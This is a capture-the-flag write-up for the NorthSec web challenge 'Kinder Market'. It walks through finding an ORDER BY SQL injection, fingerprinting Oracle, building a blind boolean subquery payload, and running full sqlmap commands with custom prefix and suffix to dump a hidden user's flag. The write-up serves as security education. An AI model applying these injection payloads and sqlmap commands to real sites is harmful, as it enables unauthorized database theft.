## Kinder Market Kinder market was a web challenge. Loading the main page gave you this interface. ![Screnshot](https://i.imgur.com/ffI21iR.png) You can search for different users. The challenge description told us there was a 'hidden' user that we needed to find. Right away, I noticed that the "sort by" field looked exactly like `SORT BY` SQL clause: ``` html ``` To test this, I tried setting the field to `age, name`, which didn't return an error and changed the sort. `foo`, (or garbage) returned an error. I figured we had an order by injection. I'll note at this point I fired of an sqlmap run which didn't find anything. It never does at NSEC becuase the challenge designers don't want skiddies to get points. I verified that parens were allowed by checking if `LOWER(name)` worked, which it did. Normally, northsec CTF challenges use Postgres, MySQL or SQLite. I tried to fingerprint the database using the following functions: * [SQLite Builtin Functions](https://sqlite.org/lang_corefunc.html) * [Postgres System Info Functions](https://www.postgresql.org/docs/12/functions-info.html) * [MySQL System Info Functions](https://dev.mysql.com/doc/refman/8.0/en/information-functions.html#function_version) None of these database-specific functions worked, which was a bit perplexing, but after double checking that I was calling functions correctly, I tried branching out and landed on Oracle, which I verified by using the `SYS_GUID` function, which is oracle specific. `sort_by=SYS_GUID()` did not return an error. My teammate Dan sent me a link to ["Exploiting SQL Injection in ORDER BY on Oracle"](https://www.gremwell.com/exploiting_sql_injection_in_order_by_on_oracle). For some reason I'm still not sure about, I wasn't able to get the described injection working. I think that there might have been a syntax error. (in fact, I failed to get `CASE` to work at all). I wanted to test my syntax on the [public oracle sandbox](https://livesql.oracle.com/) but it was ironically down, so I had to run 100% blind. For a blind injection to work, it must be possible to extract one bit at a time. The way that I decided to do this was to set `sort_by` to `age * X, name`, where `X` was either 1 or NULL. This way, if X was 1, it would be a sort by age, if X was NULL, it would be sort by name. With the provided data set, ordering by age puts `Kevin` first and sorting by name puts `Valerie` first. This can be verified to work with subqueries by sending `age * (SELECT 1 FROM DUAL WHERE 1=1), name` and `age * (SELECT 1 FROM DUAL WHERE 0=1), name`. It's a massive pain to do blind SQL injection without sqlmap, so to get sqlmap to understand this injection, I used the `--prefix` and `--suffix` options to 'trick' sqlmap into injecting into my customized subquery. For some reason `-o` would not work with this strange setup, and I wasted some time on that, but got it working with this: ``` bash sqlmap \ -u 'http://kinder-market.ctf/?name=&age=&wealth=&sort_by=age&page=1' \ -p sort_by \ --risk 3 \ --level 5 \ --dbms=oracle \ --prefix=' * (SELECT 1 FROM DUAL WHERE 1=1 ' \ --suffix='), name' \ --technique=B \ -vv \ --threads 4 ``` With this, sqlmap would generate inputs like `age * (SELECT 1 FROM DUAL WHERE 1=1 AND (SELECT ...)), name`, and use the two different pages returned to extract one bit at a time from the database. To get the actual flag, I needed to extract the hidden user, I did that with: ``` bash sqlmap \ -u 'http://kinder-market.ctf/?name=&age=&wealth=&sort_by=age&page=1' \ -p sort_by \ --risk 3 \ --level 5 \ --dbms=oracle \ --prefix=' * (SELECT 1 FROM DUAL WHERE 1=1 ' \ --suffix='), name' \ -vv \ --technique=B \ -T PROFILE \ --dump \ --threads 8 \ --where 'HIDDEN=0' ``` Which gave: ``` Database: CHAL Table: PROFILE [1 entry] +----+-----+-------------------+--------+--------+-----------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------+ | ID | AGE | NAME | HIDDEN | WEALTH | PICTURE | DESCRIPTION | CREATION_DATE | +----+-----+-------------------+--------+--------+-----------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------+ | 6 | 8 | Camelia Salisbury | 0 | 5 | camelia_salisbury.png | FLAG-cf63f0125fc67ea8daddaa23acb6dcaa As an act of peace between our two kingdoms, me, Baron Gevodan Salisbury, sovereign leader of the tenth-thirtiest district, Deputy of the Honorable Duke of Longeyes, would like to offer my daughter's hand to a worthy citizen of North Sectoria. May our families unite together and show that technology can help us build bridges and bring down walls between our kingdoms. | 12-MAY-61 | +----+-----+-------------------+--------+--------+-----------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------+ ``` Submitting this to `askgod` revealed that it was the second flag for the challenge. The first flag was in the image file for `Camelia Salisbury`, which could have been gotten by browsing the `/images/` folder for a directory listing.